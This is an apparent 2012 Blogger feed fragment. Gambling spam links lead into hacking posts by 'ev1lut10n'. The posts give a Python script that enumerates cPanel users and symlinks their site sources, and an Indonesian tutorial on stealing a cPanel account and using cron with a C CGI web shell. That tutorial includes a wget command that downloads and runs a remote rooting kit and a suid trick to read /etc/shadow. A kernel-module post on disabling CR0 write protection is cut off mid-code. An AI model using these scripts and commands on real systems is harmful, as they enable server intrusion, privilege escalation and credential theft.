black;"&gt;http://ferrymulyanaditangkap.blogspot.com/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://agen-bola77.blogspot.com/" title="agen bola ibcbet"&gt;&lt;span style="color: black;"&gt;http://agen-bola77.blogspot.com/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://royalbet77.blogspot.com/" title="agen bola ibcbet"&gt;&lt;span style="color: black;"&gt;http://royalbet77.blogspot.com/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;h1&gt;agenbolasbobet&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.pasangtaruhan.com/" title="agen bola euro 2012"&gt;&lt;span style="color: black;"&gt;http://pasangtaruhan.com&lt;/span&gt;&lt;/a&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;a href="http://www.bursagen.com/" title="agen bola euro 2012"&gt;&lt;span style="color: black;"&gt;http://bursagen.com&lt;/span&gt;&lt;/a&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ffbmania.com/" title="agen bola euro 2012"&gt;&lt;span style="color: black;"&gt;http://ffbmania.com&lt;/span&gt;&lt;/a&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ourbetting.com/" title="agen bola euro 2012"&gt;&lt;span style="color: black;"&gt;http://ourbetting.com&lt;/span&gt;&lt;/a&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.royalbet77.com/" title="agen bola euro 2012"&gt;&lt;span style="color: black;"&gt;http://royalbet77.com&lt;/span&gt;&lt;/a&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zonabets.com/" title="agen bola euro 2012"&gt;&lt;span style="color: black;"&gt;http://zonabets.com&lt;/span&gt;&lt;/a&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ferrymulyanaditangkap.blogspot.com/" title="agen bola euro 2012"&gt;&lt;span style="color: black;"&gt;http://ferrymulyanaditangkap.blogspot.com/&lt;/span&gt;&lt;/a&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://agen-bola77.blogspot.com/" title="agen bola euro 2012"&gt;&lt;span style="color: black;"&gt;http://agen-bola77.blogspot.com/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://royalbet77.blogspot.com/" title="agen bola euro 2012"&gt;&lt;span style="color: black;"&gt;http://royalbet77.blogspot.com/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.pasangtaruhan.com/" title="agen bola euro2012"&gt;&lt;span style="color: black;"&gt;http://pasangtaruhan.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.bursagen.com/" title="agen bola euro2012"&gt;&lt;span style="color: black;"&gt;http://bursagen.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ffbmania.com/" title="agen bola euro2012"&gt;&lt;span style="color: black;"&gt;http://ffbmania.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ourbetting.com/" title="agen bola euro2012"&gt;&lt;span style="color: black;"&gt;http://ourbetting.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.royalbet77.com/" title="agen bola euro2012"&gt;&lt;span style="color: black;"&gt;http://royalbet77.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zonabets.com/" title="agen bola euro2012"&gt;&lt;span style="color: black;"&gt;http://zonabets.com&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;h1&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;agenbolasbobet&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h1&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-2160842165937947453?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/2160842165937947453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/2160842165937947453'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/ev1lut10nasm-simple-game-for-linux-32.html' title='ev1lut10n.asm - a simple game for linux 32 bit'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-8277266546888973812</id><published>2012-02-16T14:34:00.000-08:00</published><updated>2012-02-16T14:34:59.776-08:00</updated><title type='text'>2012 botnet development continue</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-SX4tabu1G0k/Tz2EVvx5sGI/AAAAAAAAA5o/HbVX9nn-OYI/s1600/botnet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-SX4tabu1G0k/Tz2EVvx5sGI/AAAAAAAAA5o/HbVX9nn-OYI/s1600/botnet.jpg" width="700" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-8277266546888973812?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8277266546888973812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/8277266546888973812'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/2012-botnet-development-continue_16.html' title='2012 botnet development continue'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-SX4tabu1G0k/Tz2EVvx5sGI/AAAAAAAAA5o/HbVX9nn-OYI/s72-c/botnet.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-569757139215388621</id><published>2012-02-16T14:31:00.000-08:00</published><updated>2012-02-16T14:31:04.351-08:00</updated><title type='text'>some valentine guitar creation by ev1lut10n</title><content type='html'>&lt;embed height="266" src="http://www.youtube.com/v/INuXuJoGjTg&amp;amp;fs=1&amp;amp;source=uds" type="application/x-shockwave-flash" width="320"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;br /&gt;my valentine in guitar&lt;br /&gt;&lt;embed height="266" src="http://www.youtube.com/v/47alCduyq2c&amp;amp;fs=1&amp;amp;source=uds" type="application/x-shockwave-flash" width="320"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;close to you in guitar&lt;br /&gt;&lt;br /&gt;&lt;embed height="266" src="http://www.youtube.com/v/ztrM2OosQVo&amp;amp;fs=1&amp;amp;source=uds" type="application/x-shockwave-flash" width="320"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-569757139215388621?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/569757139215388621'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/569757139215388621'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/some-valentine-guitar-creation-by.html' title='some valentine guitar creation by ev1lut10n'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-4479486609776839690</id><published>2012-02-16T11:33:00.000-08:00</published><updated>2012-02-16T13:59:27.380-08:00</updated><title type='text'>seekuser.py</title><content type='html'>this is blogspot you gotta repair the indent by yourself&lt;br /&gt;&lt;pre&gt;#!/usr/bin/python &lt;br /&gt;#seek user for a domain and auto symlink index.php inside cpanel hosting environment&lt;br /&gt;#c0d3r: ev1lut10n&lt;br /&gt;#thanks to: x-hack.danzel,flyff666,petimati,ketek,romeo,tabun&lt;br /&gt;#this will works on path of users: /home/username/public_html&lt;br /&gt;#and all devilzc0de members&lt;br /&gt;#special thanks: merikenin for giving me inspiration&lt;br /&gt;#blog: http://myw1sd0m.blogspot.com&lt;br /&gt;#site : http://jasaplus.com&lt;br /&gt;#site : http://flightinformationdisplay.com&lt;br /&gt;#gopher: gopher://sdf.org/1/users/wisdomc0&lt;br /&gt;#gopher: gopher://sdf.org/1/users/ev1lut10&lt;br /&gt;import os&lt;br /&gt;import urllib&lt;br /&gt;import httplib&lt;br /&gt;import string&lt;br /&gt;import sys&lt;br /&gt;import random&lt;br /&gt;import time&lt;br /&gt;domain_target="hackers.com"&lt;br /&gt;passwd_file="passwd.txt"&lt;br /&gt;salah="Invalid"&lt;br /&gt;user=""&lt;br /&gt;if len(sys.argv) &lt;=1:&lt;br /&gt;    print "Usage: ./seekuser.py passwd_file targetdomain.com"&lt;br /&gt;    print "Ex: ./seekuser.py /etc/passwd hackers.com"&lt;br /&gt;    sys.exit(1)&lt;br /&gt;else:&lt;br /&gt;    passwd_file = sys.argv[1] &lt;br /&gt;    domain_target=sys.argv[2]&lt;br /&gt;try:&lt;br /&gt;  fd = open(passwd_file)&lt;br /&gt;except:&lt;br /&gt;  print "Sorry failed to open "+passwd_file&lt;br /&gt;  sys.exit(1)&lt;br /&gt;content = fd.readline()&lt;br /&gt;while (content != ""):&lt;br /&gt;      content.replace( "\n", "" )&lt;br /&gt;      content = fd.readline()&lt;br /&gt;      content=content.strip()&lt;br /&gt;      arkon=content.split(':')&lt;br /&gt;      user=arkon[0]&lt;br /&gt;      if user != "" :&lt;br /&gt;            print "testing "+user+" on:"+ domain_target&lt;br /&gt;     url="http://"+domain_target+"/cgi-sys/guestbook.cgi?user="+user&lt;br /&gt;     response=urllib.urlopen(url)&lt;br /&gt;            res = response.read()&lt;br /&gt;     if salah not in res:&lt;br /&gt;            &lt;br /&gt;         print "[+] W00t found : " + user + " for domain : "+domain_target &lt;br /&gt;  os.system ("echo "+user+" &gt; username_of_"+domain_target)&lt;br /&gt;  print "creating symlink for /home/"+user+"/public_html/index.php" &lt;br /&gt;  print "on success you can read the source code on: index_of_"+domain_target+".txt"&lt;br /&gt;  os.system("ln -s /home/"+user+"/public_html/index.php index_of_"+domain_target+".txt")&lt;br /&gt;         fd.close&lt;br /&gt;  sys.exit(1)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-4479486609776839690?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4479486609776839690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/4479486609776839690'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/seekuserpy.html' title='seekuser.py'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-6720070567850101359</id><published>2012-02-15T15:42:00.000-08:00</published><updated>2012-02-15T16:58:44.312-08:00</updated><title type='text'>bypass disable php function, disable cgi python, cgi perl</title><content type='html'>bypass disable function, disable cgi python, cgi perl di target dg cgi bin&lt;br /&gt;&lt;br /&gt;by: ev1lut10n&lt;br /&gt;&lt;br /&gt;yup kali ini akan kita mainkan salah satu dari permainan rahasia yang paling mudah (teknik ini hanya utk pemula yg baru belajar membypass)&lt;br /&gt;yang biasa dipakai attacker dalam membypass (masih banyak teknik2 lainya yg bisa dipakai si attacker untuk membypass).&lt;br /&gt;&lt;br /&gt;misal pada target terdapat disable function php berikut ini:&lt;br /&gt;disable_functions:&amp;nbsp;&amp;nbsp;&amp;nbsp; ini_alter,system,passthru,shell_exec,leak,listen,chgrp,apache_setenv,define_syslog_variables,openlog,syslog,ftp_exec,posix_getpwuid,posix_getpwnam&lt;br /&gt;&lt;br /&gt;lalu kita mencoba mengupload shell cgi perl maupun python ke cgi-bin tapi sayangnya setelah diupload crut:&lt;br /&gt;===&lt;br /&gt;Internal Server Error&lt;br /&gt;&lt;br /&gt;The server encountered an internal error or misconfiguration and was unable to complete your request.&lt;br /&gt;&lt;br /&gt;Please contact the server administrator, webmaster@adhdsociety.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.&lt;br /&gt;&lt;br /&gt;More information about this error may be available in the server error log.&lt;br /&gt;&lt;br /&gt;Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;karena masalah path atau krn perl atau python pantang kita exec (permission denied bo)&lt;br /&gt;&lt;br /&gt;untuk mengatasi permasalahan di atas bisa dg mencolong satu cpanel di server itu lalu setelah masuk ke cpanel&lt;br /&gt;liat di bag biasanya ada cron, dari situ kita bisa pakai untuk menjalankan perintah shell:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-2-4aWA5wnmA/TzxBXFFxyYI/AAAAAAAAA5I/jMGrjsMGCBw/s1600/kue.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-2-4aWA5wnmA/TzxBXFFxyYI/AAAAAAAAA5I/jMGrjsMGCBw/s1600/kue.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;selanjutnya bikin cron baru, pilih common setting, pilih every minute:&lt;br /&gt;&lt;br /&gt;misal perintahnya: id &amp;gt; id.txt&lt;br /&gt;&lt;br /&gt;selanjutnya jika berhasil maka kita bisa melihat hasil jalanya perintah di file id.txt tadi yang akan tersimpan di /home/usercpanelyangkitaboboltadi&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-87QUIrOy9k8/TzxBv8kt3DI/AAAAAAAAA5Q/JH0Xdv8Y5-Q/s1600/kue2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-87QUIrOy9k8/TzxBv8kt3DI/AAAAAAAAA5Q/JH0Xdv8Y5-Q/s320/kue2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-RFJk8KEq8_8/TzxCoBrff7I/AAAAAAAAA5g/JqznrcMgNKM/s1600/kue3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;misal kita liat hasil pocnya seperti di bawah ini:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-RFJk8KEq8_8/TzxCoBrff7I/AAAAAAAAA5g/JqznrcMgNKM/s1600/kue3.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-RFJk8KEq8_8/TzxCoBrff7I/AAAAAAAAA5g/JqznrcMgNKM/s1600/kue3.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;nah karena teknik di atas akan berjalan sangat lama krn harus menunggu cron permenit kita akan gali lagi lebih dalam.&lt;br /&gt;banyak teknik yang bisa dipakai. misal dg cgi shell dari c :&lt;br /&gt;&lt;br /&gt;=====&lt;br /&gt;/**&lt;br /&gt;CGI Shell in C&lt;br /&gt;made by : ev1lut10n&lt;br /&gt;**/&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;static void kotak_cmd()&lt;br /&gt;{&lt;br /&gt;printf("%s","&amp;lt;br&amp;gt;&amp;lt;form action=?");&lt;br /&gt;printf("%s","method=get&amp;gt;"); &lt;br /&gt;printf("%s","shell command : &amp;lt;input type=text"); &lt;br /&gt;printf("%s"," name=cmd&amp;gt;"); &lt;br /&gt;printf("%s","&amp;lt;input type=submit");&amp;nbsp; &lt;br /&gt;printf("%s"," value=execute&amp;gt;");&lt;br /&gt;printf("%s","&amp;lt;/form&amp;gt;");&lt;br /&gt;}&lt;br /&gt;static void set_heder()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; printf("%s%c%c\n","Content-Type:text/html;charset=iso-8859-1",13,10);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char *replace(char *st, char *orig, char *repl) {&lt;br /&gt;&amp;nbsp; static char buffer[4096];&lt;br /&gt;&amp;nbsp; char *ch;&lt;br /&gt;&amp;nbsp; if (!(ch = strstr(st, orig)))&lt;br /&gt;&amp;nbsp;&amp;nbsp; return st;&lt;br /&gt;&amp;nbsp; strncpy(buffer, st, ch-st);&amp;nbsp; &lt;br /&gt;&amp;nbsp; buffer[ch-st] = 0;&lt;br /&gt;&amp;nbsp; sprintf(buffer+(ch-st), "%s%s", repl, ch+strlen(orig));&lt;br /&gt;&amp;nbsp; return buffer;&lt;br /&gt;&amp;nbsp; }&lt;br /&gt;&amp;nbsp; &lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt;char *data;&lt;br /&gt;char cmd[100];&lt;br /&gt;char perintah[256]="";&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;set_heder();&lt;br /&gt;kotak_cmd();&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;data = getenv("QUERY_STRING");&lt;br /&gt;sscanf(data,"cmd=%s",cmd);&lt;br /&gt;printf("\ncmd: |%s|\n",cmd);&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;strcat(perintah,cmd);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("\nperintah: |%s|\n",perintah);&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; system(perintah);&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;=======================&lt;br /&gt;&lt;br /&gt;compile: gcc -o cgi cgi.c&lt;br /&gt;&lt;br /&gt;untuk rooting bisa menggunakan botnet (yang belum jadi dibuat sih)&lt;br /&gt;&lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;utk rooting, misal di cron tadi kita isikan perintah:&lt;br /&gt;============================&lt;br /&gt;wget http://testsite.swcteam.com/libraries/rooting.tgz;tar zxvf rooting.tgz;cd rooting;perl backup.pl&lt;br /&gt;============================&lt;br /&gt;&lt;br /&gt;jika berhasil melakukan root maka dalam beberapa menit kemudian file suid di direktori backups menjadi suid root&lt;br /&gt;====&lt;br /&gt;ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ls -l suid&lt;br /&gt;-rwsr-xr-x 1 root ev1lut10n 7292 2012-02-16 05:39 suid&lt;br /&gt;=====&lt;br /&gt;&lt;br /&gt;di mana kita bisa mengeksekusi perintah root:&lt;br /&gt;misal:&lt;br /&gt;====&lt;br /&gt;ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ./suid id&lt;br /&gt;uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout)&lt;br /&gt;===&lt;br /&gt;&lt;br /&gt;utk perintah dg lebih dari 1 argumen:&lt;br /&gt;=======&lt;br /&gt;echo 'cat /etc/shadow'&amp;gt; cmd;./suid ./cmd&lt;br /&gt;======&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2598104819866870995-6720070567850101359?l=myw1sd0m.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6720070567850101359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2598104819866870995/posts/default/6720070567850101359'/><link rel='alternate' type='text/html' href='http://myw1sd0m.blogspot.com/2012/02/bypass-disable-function-disable-cgi.html' title='bypass disable php function, disable cgi python, cgi perl'/><author><name>agen bola sbobet</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_1hrgsR8ck7k/TTCMi1eQp3I/AAAAAAAAAEY/OiIPn0TiaRk/S220/wisdom.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-2-4aWA5wnmA/TzxBXFFxyYI/AAAAAAAAA5I/jMGrjsMGCBw/s72-c/kue.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-2598104819866870995.post-5513831867317272167</id><published>2012-02-13T09:37:00.001-08:00</published><updated>2012-02-13T10:10:36.236-08:00</updated><title type='text'>modifikasi WP bit pada register cr0  di mesin x86</title><content type='html'>modifikasi WP bit pada register cr0&amp;nbsp; di mesin x86&lt;br /&gt;by: ev1lut10n&lt;br /&gt;&lt;br /&gt;"there's a sleeping monster when he got his old skills he's a real monster"&lt;br /&gt;&lt;br /&gt;Setelah sekian lama bermasalah akhirnya baru bisa online hari ini. oleh karena itu akan kita mulai kembali permainan kita&lt;br /&gt;yang tertunda tentang wp bit pada register cr0.&lt;br /&gt;&lt;br /&gt;cr0 merupakan register kontrol pada x86. WP bit pada cr0 akan menentukan apakah kita bisa melakukan write pada pages&lt;br /&gt;yang bertanda read only atau tidak, untuk bisa melakukan write kita harus mengeset wp bit pada cr0. &lt;br /&gt;&lt;br /&gt;Untuk mengetahui wp bit pada register cr0 bisa menggunakan read_cr0 di sini kita bisa melihat penggunaan PVOP_CALL0 pada read_cr0&lt;br /&gt;/usr/include/asm/paravirt.h:&lt;br /&gt;==========&lt;br /&gt;static inline unsigned long read_cr0(void)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return PVOP_CALL0(unsigned long, pv_cpu_ops.read_cr0);&lt;br /&gt;}&lt;br /&gt;=========&lt;br /&gt;&lt;br /&gt;sedangkan untuk mengeset bit cr0 menjadi unprotected bisa dengan write_cr0&lt;br /&gt;=============&lt;br /&gt;static inline void write_cr0(unsigned long x)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;PVOP_VCALL1(pv_cpu_ops.write_cr0, x);&lt;br /&gt;}&lt;br /&gt;================&lt;br /&gt;&lt;br /&gt;berikut ini contoh penggunaan read_cr0&lt;br /&gt;&lt;br /&gt;read_cr0.c&lt;br /&gt;===================&lt;br /&gt;/**read_cr0 test by ev1lut10n**/&lt;br /&gt;#include &amp;lt;linux/module.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/kernel.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/version.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/errno.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/mm.h&amp;gt;&lt;br /&gt;#include &amp;lt;asm/unistd.h&amp;gt;&lt;br /&gt;int readcr0test()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;unsigned long cr0;&lt;br /&gt;&amp;nbsp;cr0 = read_cr0(); &lt;br /&gt;&amp;nbsp;printk("\n%lu",cr0);&lt;br /&gt;&amp;nbsp;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int init_module (void)&lt;br /&gt;{&lt;br /&gt;readcr0test();&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void cleanup_module (void)&lt;br /&gt;{&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;================================&lt;br /&gt;&lt;br /&gt;Makefile&lt;br /&gt;=======&lt;br /&gt;obj-m += read_cr0.o&lt;br /&gt;&lt;br /&gt;all:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules&lt;br /&gt;&lt;br /&gt;clean:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean&lt;br /&gt;==========&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;berikut ini adalah potongan kode asm yang digunakan untuk memodifikasi wp bit pada register cr0 yang akan kita jalankan di kernel space&lt;br /&gt;&lt;br /&gt;=============================&lt;br /&gt;__asm__ ("push %eax\n\t"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "mov %cr0,%eax\n\t"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "and $0x0FFFEFFFF,%eax\n\t"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "mov %eax, %cr0\n\t"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "pop %eax");&lt;br /&gt;============&lt;br /&gt;&lt;br /&gt;here we go:&lt;br /&gt;modify_cr0.c:&lt;br /&gt;============&lt;br /&gt;#include &amp;lt;linux/sched.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/kernel.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/module.h&amp;gt;&lt;br /&gt;static int ev1ls_cr0()&lt;br /&gt;{&lt;br /&gt;//ev1l's bypass cr0 trick();&lt;br /&gt;asm volatile("push %eax\n\t"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "mov %cr0,%eax\n\t"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "and $0x0FFFEFFFF,%eax\n\t"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "mov %eax, %cr0\n\t"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "pop %eax");&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void readcr0test()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;unsigned long cr0;&lt;br /&gt;&amp;nbsp;cr0 = read_cr0(); &lt;br /&gt;&amp;nbsp;printk("\n%lu",cr0);&lt;br /&gt;&amp;nbsp;printk("\n%X",cr0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int init_module (void)&lt;br /&gt;{&lt;br /&gt;readcr0test();&lt;br /&gt;ev1ls_cr0();&lt;br /&gt;readcr0test();&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void cleanup_module (void)&lt;br /&gt;{&lt;br /&gt;return 